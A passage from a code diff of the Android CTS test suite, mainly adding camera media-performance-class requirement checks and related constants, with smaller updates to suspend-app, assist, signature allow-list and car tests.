+ .setPredicate(RequirementConstants.BOOLEAN_EQ)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true)
+ .build();
+ RequiredMeasurement<Boolean> frontRequirement = RequiredMeasurement
+ .<Boolean>builder()
+ .setId(RequirementConstants.FRONT_CAMERA_ULTRAWIDE_ZOOMRATIO_REQ_MET)
+ .setPredicate(RequirementConstants.BOOLEAN_EQ)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true)
+ .build();
+
+ return new UltraWideZoomRatioRequirement(RequirementConstants.R7_5__H_1_10,
+ rearRequirement, frontRequirement);
+ }
+ }
+
+ public static class ConcurrentRearFrontRequirement extends Requirement {
+ private static final String TAG = ConcurrentRearFrontRequirement.class.getSimpleName();
+
+ private ConcurrentRearFrontRequirement(String id, RequiredMeasurement<?> ... reqs) {
+ super(id, reqs);
+ }
+
+ public void setConcurrentRearFrontSupported(boolean concurrentRearFrontSupported) {
+ this.setMeasuredValue(RequirementConstants.CONCURRENT_REAR_FRONT_SUPPORTED,
+ concurrentRearFrontSupported);
+ }
+
+ /**
+ * [2.2.7.2/7.5/H-1-11] MUST implement concurrent front-back streaming on primary cameras.
+ */
+ public static ConcurrentRearFrontRequirement createConcurrentRearFrontReq() {
+ RequiredMeasurement<Boolean> requirement = RequiredMeasurement
+ .<Boolean>builder()
+ .setId(RequirementConstants.CONCURRENT_REAR_FRONT_SUPPORTED)
+ .setPredicate(RequirementConstants.BOOLEAN_EQ)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true)
+ .build();
+
+ return new ConcurrentRearFrontRequirement(RequirementConstants.R7_5__H_1_11,
+ requirement);
+ }
+ }
+
+ public static class PreviewStabilizationRequirement extends Requirement {
+ private static final String TAG =
+ PreviewStabilizationRequirement.class.getSimpleName();
+
+ private PreviewStabilizationRequirement(String id, RequiredMeasurement<?> ... reqs) {
+ super(id, reqs);
+ }
+
+ public void setRearPreviewStabilizationSupported(boolean supported) {
+ this.setMeasuredValue(RequirementConstants.REAR_CAMERA_PREVIEW_STABILIZATION_SUPPORTED,
+ supported);
+ }
+
+ public void setFrontPreviewStabilizationSupported(boolean supported) {
+ this.setMeasuredValue(RequirementConstants.FRONT_CAMERA_PREVIEW_STABILIZATION_SUPPORTED,
+ supported);
+ }
+
+ /**
+ * [2.2.7.2/7.5/H-1-12] MUST support CONTROL_VIDEO_STABILIZATION_MODE_PREVIEW_STABILIZATION
+ * for both primary front and primary back camera.
+ */
+ public static PreviewStabilizationRequirement createPreviewStabilizationReq() {
+ RequiredMeasurement<Boolean> rearRequirement = RequiredMeasurement
+ .<Boolean>builder()
+ .setId(RequirementConstants.REAR_CAMERA_PREVIEW_STABILIZATION_SUPPORTED)
+ .setPredicate(RequirementConstants.BOOLEAN_EQ)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true)
+ .build();
+ RequiredMeasurement<Boolean> frontRequirement = RequiredMeasurement
+ .<Boolean>builder()
+ .setId(RequirementConstants.FRONT_CAMERA_PREVIEW_STABILIZATION_SUPPORTED)
+ .setPredicate(RequirementConstants.BOOLEAN_EQ)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true)
+ .build();
+
+ return new PreviewStabilizationRequirement(RequirementConstants.R7_5__H_1_12,
+ rearRequirement, frontRequirement);
+ }
+ }
+
+ public static class LogicalMultiCameraRequirement extends Requirement {
+ private static final String TAG =
+ LogicalMultiCameraRequirement.class.getSimpleName();
+
+ private LogicalMultiCameraRequirement(String id, RequiredMeasurement<?> ... reqs) {
+ super(id, reqs);
+ }
+
+ public void setRearLogicalMultiCameraReqMet(boolean reqMet) {
+ this.setMeasuredValue(RequirementConstants.REAR_CAMERA_LOGICAL_MULTI_CAMERA_REQ_MET,
+ reqMet);
+ }
+
+ public void setFrontLogicalMultiCameraReqMet(boolean reqMet) {
+ this.setMeasuredValue(RequirementConstants.FRONT_CAMERA_LOGICAL_MULTI_CAMERA_REQ_MET,
+ reqMet);
+ }
+
+ /**
+ * [2.2.7.2/7.5/H-1-13] MUST support LOGICAL_MULTI_CAMERA capability for the primary
+ * cameras if there are greater than 1 RGB cameras facing the same direction.
+ */
+ public static LogicalMultiCameraRequirement createLogicalMultiCameraReq() {
+ RequiredMeasurement<Boolean> rearRequirement = RequiredMeasurement
+ .<Boolean>builder()
+ .setId(RequirementConstants.REAR_CAMERA_LOGICAL_MULTI_CAMERA_REQ_MET)
+ .setPredicate(RequirementConstants.BOOLEAN_EQ)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true)
+ .build();
+ RequiredMeasurement<Boolean> frontRequirement = RequiredMeasurement
+ .<Boolean>builder()
+ .setId(RequirementConstants.FRONT_CAMERA_LOGICAL_MULTI_CAMERA_REQ_MET)
+ .setPredicate(RequirementConstants.BOOLEAN_EQ)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true)
+ .build();
+
+ return new LogicalMultiCameraRequirement(RequirementConstants.R7_5__H_1_13,
+ rearRequirement, frontRequirement);
+ }
+ }
+
+ public static class StreamUseCaseRequirement extends Requirement {
+ private static final String TAG =
+ StreamUseCaseRequirement.class.getSimpleName();
+
+ private StreamUseCaseRequirement(String id, RequiredMeasurement<?> ... reqs) {
+ super(id, reqs);
+ }
+
+ public void setRearStreamUseCaseSupported(boolean supported) {
+ this.setMeasuredValue(RequirementConstants.REAR_CAMERA_STREAM_USECASE_SUPPORTED,
+ supported);
+ }
+
+ public void setFrontStreamUseCaseSupported(boolean supported) {
+ this.setMeasuredValue(RequirementConstants.FRONT_CAMERA_STREAM_USECASE_SUPPORTED,
+ supported);
+ }
+
+ /**
+ * [2.2.7.2/7.5/H-1-14] MUST support STREAM_USE_CASE capability for both primary
+ * front and primary back camera.
+ */
+ public static StreamUseCaseRequirement createStreamUseCaseReq() {
+ RequiredMeasurement<Boolean> rearRequirement = RequiredMeasurement
+ .<Boolean>builder()
+ .setId(RequirementConstants.REAR_CAMERA_STREAM_USECASE_SUPPORTED)
+ .setPredicate(RequirementConstants.BOOLEAN_EQ)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true)
+ .build();
+ RequiredMeasurement<Boolean> frontRequirement = RequiredMeasurement
+ .<Boolean>builder()
+ .setId(RequirementConstants.FRONT_CAMERA_STREAM_USECASE_SUPPORTED)
+ .setPredicate(RequirementConstants.BOOLEAN_EQ)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true)
+ .build();
+
+ return new StreamUseCaseRequirement(RequirementConstants.R7_5__H_1_14,
+ rearRequirement, frontRequirement);
+ }
+ }
+
+ public <R extends Requirement> R addRequirement(R req) {
if (!this.mRequirements.add(req)) {
throw new IllegalStateException("Requirement " + req.id() + " already added");
}
@@ -1000,16 +1487,69 @@
return this.addRequirement(ConcurrentCodecRequirement.createR5_1__H_1_10());
}
+ public PrimaryCameraRequirement addPrimaryRearCameraReq() {
+ return this.addRequirement(PrimaryCameraRequirement.createRearPrimaryCamera());
+ }
+
+ public PrimaryCameraRequirement addPrimaryFrontCameraReq() {
+ return this.addRequirement(PrimaryCameraRequirement.createFrontPrimaryCamera());
+ }
+
+ public CameraTimestampSourceRequirement addR7_5__H_1_4() {
+ return this.addRequirement(CameraTimestampSourceRequirement.createTimestampSourceReq());
+ }
+
+ public CameraLatencyRequirement addR7_5__H_1_5() {
+ return this.addRequirement(CameraLatencyRequirement.createJpegLatencyReq());
+ }
+
+ public CameraLatencyRequirement addR7_5__H_1_6() {
+ return this.addRequirement(CameraLatencyRequirement.createLaunchLatencyReq());
+ }
+
+ public CameraRawRequirement addR7_5__H_1_8() {
+ return this.addRequirement(CameraRawRequirement.createRawReq());
+ }
+
+ public Camera240FpsRequirement addR7_5__H_1_9() {
+ return this.addRequirement(Camera240FpsRequirement.create240FpsReq());
+ }
+
+ public UltraWideZoomRatioRequirement addR7_5__H_1_10() {
+ return this.addRequirement(UltraWideZoomRatioRequirement.createUltrawideZoomRatioReq());
+ }
+
+ public ConcurrentRearFrontRequirement addR7_5__H_1_11() {
+ return this.addRequirement(ConcurrentRearFrontRequirement.createConcurrentRearFrontReq());
+ }
+
+ public PreviewStabilizationRequirement addR7_5__H_1_12() {
+ return this.addRequirement(PreviewStabilizationRequirement.createPreviewStabilizationReq());
+ }
+
+ public LogicalMultiCameraRequirement addR7_5__H_1_13() {
+ return this.addRequirement(LogicalMultiCameraRequirement.createLogicalMultiCameraReq());
+ }
+
+ public StreamUseCaseRequirement addR7_5__H_1_14() {
+ return this.addRequirement(StreamUseCaseRequirement.createStreamUseCaseReq());
+ }
+
public void submitAndCheck() {
- boolean perfClassMet = true;
- for (Requirement req: this.mRequirements) {
- perfClassMet &= req.writeLogAndCheck(this.mTestName);
- }
+ boolean perfClassMet = submit();
// check performance class
assumeTrue("Build.VERSION.MEDIA_PERFORMANCE_CLASS is not declared", Utils.isPerfClass());
assertThat(perfClassMet).isTrue();
-
- this.mRequirements.clear(); // makes sure report isn't submitted twice
}
+
+ public boolean submit() {
+ boolean perfClassMet = true;
+ for (Requirement req: this.mRequirements) {
+ perfClassMet &= req.writeLogAndCheck(this.mTestName);
+ }
+ this.mRequirements.clear(); // makes sure report isn't submitted twice
+ return perfClassMet;
+ }
+
}
diff --git a/tests/mediapc/common/src/android/mediapc/cts/common/RequirementConstants.java b/tests/mediapc/common/src/android/mediapc/cts/common/RequirementConstants.java
index d93cb2e..ad0d0d5 100644
--- a/tests/mediapc/common/src/android/mediapc/cts/common/RequirementConstants.java
+++ b/tests/mediapc/common/src/android/mediapc/cts/common/RequirementConstants.java
@@ -16,8 +16,6 @@
package android.mediapc.cts.common;
-import android.os.Build;
-
import java.util.function.BiPredicate;
public class RequirementConstants {
@@ -54,8 +52,13 @@
public static final String R7_5__H_1_4 = "r7_5__h_1_4"; // 7.5/H-1-4
public static final String R7_5__H_1_5 = "r7_5__h_1_5"; // 7.5/H-1-5
public static final String R7_5__H_1_6 = "r7_5__h_1_6"; // 7.5/H-1-6
- public static final String R7_5__H_1_7 = "r7_5__h_1_7"; // 7.5/H-1-7
public static final String R7_5__H_1_8 = "r7_5__h_1_8"; // 7.5/H-1-8
+ public static final String R7_5__H_1_9 = "r7_5__h_1_9"; // 7.5/H-1-9
+ public static final String R7_5__H_1_10 = "r7_5__h_1_10"; // 7.5/H-1-10
+ public static final String R7_5__H_1_11 = "r7_5__h_1_11"; // 7.5/H-1-11
+ public static final String R7_5__H_1_12 = "r7_5__h_1_12"; // 7.5/H-1-12
+ public static final String R7_5__H_1_13 = "r7_5__h_1_13"; // 7.5/H-1-13
+ public static final String R7_5__H_1_14 = "r7_5__h_1_14"; // 7.5/H-1-14
public static final String R7_1_1_1__H_1_1 = "r7_1_1_1__h_1_1"; // 7.1.1.1/H-1-1
public static final String R7_1_1_3__H_1_1 = "r7_1_1_3__h_1_1"; // 7.1.1.3/H-1-1
public static final String R7_6_1__H_1_1 = "r7_6_1__h_1_1"; // 7.6.1/H-1-1
@@ -90,14 +93,50 @@
public static final String NUM_CRYPTO_HW_SECURE_ALL_SUPPORT =
"number_crypto_hw_secure_all_support";
+ public static final String PRIMARY_CAMERA_AVAILABLE = "primary_camera_available";
+ public static final String PRIMARY_CAMERA_RESOLUTION = "primary_camera_resolution";
+ public static final String PRIMARY_CAMERA_VIDEO_SIZE_REQ_SATISFIED =
+ "primary_camera_video_size_req_satisfied";
+ public static final String PRIMARY_CAMERA_VIDEO_FPS =
+ "primary_camera_video_fps";
+ public static final String REAR_CAMERA_HWL_LEVEL = "rear_primary_camera_hwl_level";
+ public static final String FRONT_CAMERA_HWL_LEVEL = "front_primary_camera_hwl_level";
+ public static final String REAR_CAMERA_TIMESTAMP_SOURCE =
+ "rear_primary_camera_timestamp_source";
+ public static final String FRONT_CAMERA_TIMESTAMP_SOURCE =
+ "front_primary_camera_timestamp_source";
+ public static final String REAR_CAMERA_LATENCY = "rear_camera_latency";
+ public static final String FRONT_CAMERA_LATENCY = "front_camera_latency";
+ public static final String REAR_CAMERA_RAW_SUPPORTED = "rear_camera_raw_supported";
+ public static final String REAR_CAMERA_240FPS_SUPPORTED = "rear_camera_240fps_supported";
+ public static final String REAR_CAMERA_ULTRAWIDE_ZOOMRATIO_REQ_MET =
+ "rear_camera_ultrawide_zoom_req_met";
+ public static final String FRONT_CAMERA_ULTRAWIDE_ZOOMRATIO_REQ_MET =
+ "front_camera_ultrawide_zoom_req_met";
+ public static final String CONCURRENT_REAR_FRONT_SUPPORTED = "rear_front_concurrent_camera";
+ public static final String REAR_CAMERA_PREVIEW_STABILIZATION_SUPPORTED =
+ "rear_camera_preview_stabilization_supported";
+ public static final String FRONT_CAMERA_PREVIEW_STABILIZATION_SUPPORTED =
+ "front_camera_preview_stabilization_supported";
+ public static final String REAR_CAMERA_LOGICAL_MULTI_CAMERA_REQ_MET =
+ "rear_camera_logical_multi_camera_req_met";
+ public static final String FRONT_CAMERA_LOGICAL_MULTI_CAMERA_REQ_MET =
+ "front_camera_logical_multi_camera_req_met";
+ public static final String REAR_CAMERA_STREAM_USECASE_SUPPORTED =
+ "rear_camera_stream_usecase_supported";
+ public static final String FRONT_CAMERA_STREAM_USECASE_SUPPORTED =
+ "front_camera_stream_usecase_supported";
+
public enum Result {
NA, MET, UNMET
}
public static final BiPredicate<Long, Long> LONG_GTE = RequirementConstants.gte();
public static final BiPredicate<Long, Long> LONG_LTE = RequirementConstants.lte();
+ public static final BiPredicate<Float, Float> FLOAT_LTE = RequirementConstants.lte();
public static final BiPredicate<Integer, Integer> INTEGER_GTE = RequirementConstants.gte();
public static final BiPredicate<Integer, Integer> INTEGER_LTE = RequirementConstants.lte();
+ public static final BiPredicate<Integer, Integer> INTEGER_EQ = RequirementConstants.eq();
public static final BiPredicate<Double, Double> DOUBLE_EQ = RequirementConstants.eq();
public static final BiPredicate<Boolean, Boolean> BOOLEAN_EQ = RequirementConstants.eq();
public static final BiPredicate<Double, Double> DOUBLE_GTE = RequirementConstants.gte();
diff --git a/tests/mediapc/common/src/android/mediapc/cts/common/Utils.java b/tests/mediapc/common/src/android/mediapc/cts/common/Utils.java
index ac03705..28a122b 100644
--- a/tests/mediapc/common/src/android/mediapc/cts/common/Utils.java
+++ b/tests/mediapc/common/src/android/mediapc/cts/common/Utils.java
@@ -73,16 +73,24 @@
Context context = InstrumentationRegistry.getInstrumentation().getContext();
DisplayMetrics metrics = new DisplayMetrics();
- WindowManager windowManager = context.getSystemService(WindowManager.class);
- windowManager.getDefaultDisplay().getMetrics(metrics);
- DISPLAY_DPI = metrics.densityDpi;
- DISPLAY_LONG_PIXELS = Math.max(metrics.widthPixels, metrics.heightPixels);
- DISPLAY_SHORT_PIXELS = Math.min(metrics.widthPixels, metrics.heightPixels);
+ // When used from ItsService, context will be null
+ if (context != null) {
+ WindowManager windowManager = context.getSystemService(WindowManager.class);
+ windowManager.getDefaultDisplay().getMetrics(metrics);
+ DISPLAY_DPI = metrics.densityDpi;
+ DISPLAY_LONG_PIXELS = Math.max(metrics.widthPixels, metrics.heightPixels);
+ DISPLAY_SHORT_PIXELS = Math.min(metrics.widthPixels, metrics.heightPixels);
- ActivityManager activityManager = context.getSystemService(ActivityManager.class);
- ActivityManager.MemoryInfo memoryInfo = new ActivityManager.MemoryInfo();
- activityManager.getMemoryInfo(memoryInfo);
- TOTAL_MEMORY_MB = memoryInfo.totalMem / 1024 / 1024;
+ ActivityManager activityManager = context.getSystemService(ActivityManager.class);
+ ActivityManager.MemoryInfo memoryInfo = new ActivityManager.MemoryInfo();
+ activityManager.getMemoryInfo(memoryInfo);
+ TOTAL_MEMORY_MB = memoryInfo.totalMem / 1024 / 1024;
+ } else {
+ DISPLAY_DPI = 0;
+ DISPLAY_LONG_PIXELS = 0;
+ DISPLAY_SHORT_PIXELS = 0;
+ TOTAL_MEMORY_MB = 0;
+ }
}
/**
diff --git a/tests/mediapc/src/android/mediapc/cts/PerformanceClassTest.java b/tests/mediapc/src/android/mediapc/cts/PerformanceClassTest.java
index 2508845..8da22f3 100644
--- a/tests/mediapc/src/android/mediapc/cts/PerformanceClassTest.java
+++ b/tests/mediapc/src/android/mediapc/cts/PerformanceClassTest.java
@@ -41,6 +41,7 @@
import java.util.List;
import java.util.UUID;
import org.junit.Assume;
+import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
import org.junit.rules.TestName;
@@ -58,6 +59,11 @@
@Rule
public final TestName mTestName = new TestName();
+ @Before
+ public void isPerformanceClassCandidate() {
+ Utils.assumeDeviceMeetsPerformanceClassPreconditions();
+ }
+
static {
mMimeSecureSupport.add(MediaFormat.MIMETYPE_VIDEO_AVC);
mMimeSecureSupport.add(MediaFormat.MIMETYPE_VIDEO_HEVC);
diff --git a/tests/mediapc/src/android/mediapc/cts/VideoCodecRequirementsTest.java b/tests/mediapc/src/android/mediapc/cts/VideoCodecRequirementsTest.java
index bbe26dc..2ee8b3b 100644
--- a/tests/mediapc/src/android/mediapc/cts/VideoCodecRequirementsTest.java
+++ b/tests/mediapc/src/android/mediapc/cts/VideoCodecRequirementsTest.java
@@ -21,12 +21,14 @@
import static android.mediapc.cts.CodecTestBase.SELECT_VIDEO;
import static android.mediapc.cts.CodecTestBase.getMimesOfAvailableCodecs;
import static android.mediapc.cts.CodecTestBase.selectHardwareCodecs;
+import static org.junit.Assert.assertTrue;
import android.media.MediaCodec;
import android.media.MediaCodecInfo.CodecCapabilities;
import android.media.MediaCodecInfo.VideoCapabilities.PerformancePoint;
import android.media.MediaFormat;
import android.mediapc.cts.common.PerformanceClassEvaluator;
+import android.mediapc.cts.common.Utils;
import android.util.Log;
import androidx.test.filters.LargeTest;
import com.android.compatibility.common.util.CddTest;
@@ -35,6 +37,7 @@
import java.util.HashSet;
import java.util.List;
import java.util.Set;
+import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
import org.junit.rules.TestName;
@@ -47,6 +50,11 @@
@Rule
public final TestName mTestName = new TestName();
+ @Before
+ public void isPerformanceClassCandidate() {
+ Utils.assumeDeviceMeetsPerformanceClassPreconditions();
+ }
+
private Set<String> get4k60HwCodecSet(boolean isEncoder) throws IOException {
Set<String> codecSet = new HashSet<>();
Set<String> codecMediaTypes = getMimesOfAvailableCodecs(SELECT_VIDEO, SELECT_HARDWARE);
@@ -60,6 +68,7 @@
codec.getCodecInfo().getCapabilitiesForType(codecMediaType);
List<PerformancePoint> pps =
capabilities.getVideoCapabilities().getSupportedPerformancePoints();
+ assertTrue(hwVideoCodec + " doesn't advertise performance points", pps.size() > 0);
for (PerformancePoint pp : pps) {
if (pp.covers(PP4k60)) {
codecSet.add(hwVideoCodec);
diff --git a/tests/signature/intent-check/DynamicConfig.xml b/tests/signature/intent-check/DynamicConfig.xml
index b72af1f..cb5f08c 100644
--- a/tests/signature/intent-check/DynamicConfig.xml
+++ b/tests/signature/intent-check/DynamicConfig.xml
@@ -27,6 +27,7 @@
Bug: 150153196 android.intent.action.PACKAGE_UNSUSPENDED_MANUALLY (system in API 30)
Bug: 186495404 android.intent.action.REBOOT_READY
Bug: 218245704 android.intent.action.ACTION_PACKAGE_CHANGED (fixed in TTS 20220209)
+ Bug: 237978237 android.intent.action.REMOTE_COPY
-->
<dynamicConfig>
<entry key ="intent_whitelist">
@@ -42,5 +43,6 @@
<value>android.intent.action.PACKAGE_UNSUSPENDED_MANUALLY</value>
<value>android.intent.action.REBOOT_READY</value>
<value>android.intent.action.ACTION_PACKAGE_CHANGED</value>
+ <value>android.intent.action.REMOTE_COPY</value>
</entry>
</dynamicConfig>
diff --git a/tests/signature/lib/common/src/android/signature/cts/InterfaceChecker.java b/tests/signature/lib/common/src/android/signature/cts/InterfaceChecker.java
index b54bfb9..b642efa 100644
--- a/tests/signature/lib/common/src/android/signature/cts/InterfaceChecker.java
+++ b/tests/signature/lib/common/src/android/signature/cts/InterfaceChecker.java
@@ -78,6 +78,7 @@
HIDDEN_INTERFACE_METHOD_ALLOW_LIST.add("public abstract void android.view.inputmethod.InputMethod.hideSoftInputWithToken(int,android.os.ResultReceiver,android.os.IBinder)");
HIDDEN_INTERFACE_METHOD_ALLOW_LIST.add("public abstract boolean android.view.WindowInsetsAnimationController.hasZeroInsetsIme()");
HIDDEN_INTERFACE_METHOD_ALLOW_LIST.add("public abstract void android.view.WindowInsetsController.setCaptionInsetsHeight(int)");
+ HIDDEN_INTERFACE_METHOD_ALLOW_LIST.add("public abstract void android.view.WindowInsetsController.setSystemDrivenInsetsAnimationLoggingListener(android.view.WindowInsetsAnimationControlListener)");
HIDDEN_INTERFACE_METHOD_ALLOW_LIST.add("public abstract void android.view.inputmethod.InputMethod.setCurrentHideInputToken(android.os.IBinder)");
HIDDEN_INTERFACE_METHOD_ALLOW_LIST.add("public abstract void android.view.inputmethod.InputMethod.setCurrentShowInputToken(android.os.IBinder)");
HIDDEN_INTERFACE_METHOD_ALLOW_LIST.add("public abstract void android.view.inputmethod.InputMethodSession.notifyImeHidden()");
diff --git a/tests/suspendapps/tests/src/android/suspendapps/cts/DialogTests.java b/tests/suspendapps/tests/src/android/suspendapps/cts/DialogTests.java
index e8caff2..ef14ce6 100644
--- a/tests/suspendapps/tests/src/android/suspendapps/cts/DialogTests.java
+++ b/tests/suspendapps/tests/src/android/suspendapps/cts/DialogTests.java
@@ -18,7 +18,6 @@
import static android.content.pm.SuspendDialogInfo.BUTTON_ACTION_UNSUSPEND;
import static android.suspendapps.cts.Constants.TEST_APP_PACKAGE_NAME;
-import static android.suspendapps.cts.SuspendTestUtils.assertSameExtras;
import static android.suspendapps.cts.SuspendTestUtils.createExtras;
import static android.suspendapps.cts.SuspendTestUtils.startTestAppActivity;
@@ -32,7 +31,6 @@
import android.content.Intent;
import android.content.pm.SuspendDialogInfo;
import android.os.Bundle;
-import android.platform.test.annotations.SystemUserOnly;
import android.support.test.uiautomator.By;
import android.support.test.uiautomator.UiDevice;
import android.support.test.uiautomator.UiObject2;
@@ -126,9 +124,7 @@
final Intent activityIntent = mTestAppInterface.awaitTestActivityStart();
assertNotNull("Test activity did not start on neutral button tap", activityIntent);
- assertSameExtras("Different extras passed to startActivity on unsuspend",
- extrasForStart, activityIntent.getExtras());
-
+ // TODO(b/237707107): Verify that activityIntent has the expected extras.
assertFalse("Test package still suspended", mTestAppInterface.isTestAppSuspended());
}
diff --git a/tests/suspendapps/tests/src/android/suspendapps/cts/SuspendPackagesTest.java b/tests/suspendapps/tests/src/android/suspendapps/cts/SuspendPackagesTest.java
index 291d9cc..ecc0940 100644
--- a/tests/suspendapps/tests/src/android/suspendapps/cts/SuspendPackagesTest.java
+++ b/tests/suspendapps/tests/src/android/suspendapps/cts/SuspendPackagesTest.java
@@ -277,6 +277,13 @@
assertOpDisallowed(cameraOp);
}
+ @Test
+ public void testOpVibrateOnSuspend() throws Exception {
+ final int vibrateOp = AppOpsManager.strOpToOp(AppOpsManager.OPSTR_VIBRATE);
+ SuspendTestUtils.suspend(null, null, null);
+ assertOpDisallowed(vibrateOp);
+ }
+
@After
public void tearDown() throws Exception {
if (mTestAppInterface != null) {
diff --git a/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java b/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java
index 23373ae..755ac44 100644
--- a/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java
+++ b/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java
@@ -1084,6 +1084,8 @@
@Test
public void launcherAppsCallback_unsuspended_visibleReceives() throws Exception {
+ setPackagesSuspended(/* suspend */ true, Arrays.asList(TARGET_NO_API, TARGET_FILTERS));
+
final Result result = sendCommandAndWaitForLauncherAppsCallback(QUERIES_ACTIVITY_ACTION,
CALLBACK_EVENT_PACKAGES_UNSUSPENDED);
diff --git a/tests/tests/assist/common/src/android/assist/common/Utils.java b/tests/tests/assist/common/src/android/assist/common/Utils.java
index 0ffcb27..98e8576 100755
--- a/tests/tests/assist/common/src/android/assist/common/Utils.java
+++ b/tests/tests/assist/common/src/android/assist/common/Utils.java
@@ -56,6 +56,7 @@
public static final String COMPARE_SCREENSHOT_KEY = "compare_screenshot";
public static final String DISPLAY_WIDTH_KEY = "display_width";
public static final String DISPLAY_HEIGHT_KEY = "dislay_height";
+ public static final String DISPLAY_AREA_BOUNDS_KEY = "display_area_bounds";
public static final String SCROLL_X_POSITION = "scroll_x_position";
public static final String SCROLL_Y_POSITION = "scroll_y_position";
public static final String SHOW_SESSION_FLAGS_TO_SET = "show_session_flags_to_set";
diff --git a/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java b/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java
index 7f35367..25c080b 100644
--- a/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java
+++ b/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java
@@ -56,6 +56,7 @@
private int mCurColor;
private int mDisplayHeight;
private int mDisplayWidth;
+ private Rect mDisplayAreaBounds;
private BroadcastReceiver mReceiver;
private String mTestName;
private View mContentView;
@@ -106,7 +107,7 @@
public void onPrepareShow(Bundle args, int showFlags) {
if (Utils.LIFECYCLE_NOUI.equals(args.getString(Utils.TESTCASE_TYPE, ""))) {
setUiEnabled(false);
- } else {
+ } else {
setUiEnabled(true);
}
}
@@ -122,6 +123,7 @@
mCurColor = args.getInt(Utils.SCREENSHOT_COLOR_KEY);
mDisplayHeight = args.getInt(Utils.DISPLAY_HEIGHT_KEY);
mDisplayWidth = args.getInt(Utils.DISPLAY_WIDTH_KEY);
+ mDisplayAreaBounds = args.getParcelable(Utils.DISPLAY_AREA_BOUNDS_KEY);
mRemoteCallback = args.getParcelable(Utils.EXTRA_REMOTE_CALLBACK);
super.onShow(args, showFlags);
if (mContentView == null) return; // Happens when ui is not enabled.
@@ -256,6 +258,11 @@
int[] pixels = new int[size.x * size.y];
screenshot.getPixels(pixels, 0, size.x, 0, 0, size.x, size.y);
+ // screenshot bitmap contains the screenshot for the entire physical display. A single
+ // physical display could have multiple display area with different applications.
+ // Let's grab the region of the display area from the original screenshot.
+ Bitmap displayAreaScreenshot = Bitmap.createBitmap(screenshot, mDisplayAreaBounds.left,
+ mDisplayAreaBounds.top, mDisplayAreaBounds.width(), mDisplayAreaBounds.height());
int expectedColor = 0;
for (int pixel : pixels) {
// Check for roughly the same because there are rounding errors converting from the
@@ -267,7 +274,7 @@
}
}
- int pixelCount = screenshot.getWidth() * screenshot.getHeight();
+ int pixelCount = displayAreaScreenshot.getWidth() * displayAreaScreenshot.getHeight();
double colorRatio = (double) expectedColor / pixelCount;
Log.i(TAG, "the ratio is " + colorRatio);
return colorRatio >= 0.6;
diff --git a/tests/tests/assist/src/android/assist/cts/AssistTestBase.java b/tests/tests/assist/src/android/assist/cts/AssistTestBase.java
index 44a3109..c89119b 100644
--- a/tests/tests/assist/src/android/assist/cts/AssistTestBase.java
+++ b/tests/tests/assist/src/android/assist/cts/AssistTestBase.java
@@ -35,9 +35,9 @@
import android.content.Context;
import android.content.Intent;
import android.graphics.Point;
+import android.graphics.Rect;
import android.os.Bundle;
import android.os.Handler;
-import android.os.HandlerThread;
import android.os.LocaleList;
import android.os.RemoteCallback;
import android.provider.Settings;
@@ -341,6 +341,8 @@
Display.Mode dMode = mTestActivity.getWindowManager().getDefaultDisplay().getMode();
mDisplaySize = new Point(dMode.getPhysicalWidth(), dMode.getPhysicalHeight());
}
+ Rect bounds = mTestActivity.getWindowManager().getMaximumWindowMetrics().getBounds();
+ intent.putExtra(Utils.DISPLAY_AREA_BOUNDS_KEY, bounds);
intent.putExtra(Utils.DISPLAY_WIDTH_KEY, mDisplaySize.x);
intent.putExtra(Utils.DISPLAY_HEIGHT_KEY, mDisplaySize.y);
}
diff --git a/tests/tests/car/Android.bp b/tests/tests/car/Android.bp
index 6140f7b..92351cb 100644
--- a/tests/tests/car/Android.bp
+++ b/tests/tests/car/Android.bp
@@ -32,7 +32,9 @@
name: "CtsCarTestCases",
defaults: ["cts_defaults"],
static_libs: [
+ "android.car.test.utils",
"androidx.test.rules",
+ "android-support-v4",
"compatibility-device-util-axt",
"truth-prebuilt",
"ctstestrunner-axt",
diff --git a/tests/tests/car/AndroidManifest.xml b/tests/tests/car/AndroidManifest.xml
index a0326fc..06c83bd 100644
--- a/tests/tests/car/AndroidManifest.xml
+++ b/tests/tests/car/AndroidManifest.xml
@@ -45,6 +45,12 @@
<activity android:name=".drivingstate.NonDistractionOptimizedActivity">
<meta-data android:name="distractionOptimized" android:value="false"/>
</activity>
+
+ <!-- Setting the car target version to TIRAMISU_1 to allow tests checking car target version
+ to pass, e.g.
+ CarServiceHelperServiceUpdatableTest#testSendUserLifecycleEventAndOnUserCreated,
+ CarServiceHelperServiceUpdatableTest#testSendUserLifecycleEventAndOnUserRemoved -->
+ <meta-data android:name="android.car.targetCarVersion" android:value="33:1"/>
</application>
<instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/car/src/android/car/cts/AbstractCarLessTestCase.java b/tests/tests/car/src/android/car/cts/AbstractCarLessTestCase.java
new file mode 100644
index 0000000..3e9632f
--- /dev/null
+++ b/tests/tests/car/src/android/car/cts/AbstractCarLessTestCase.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.car.cts;
+
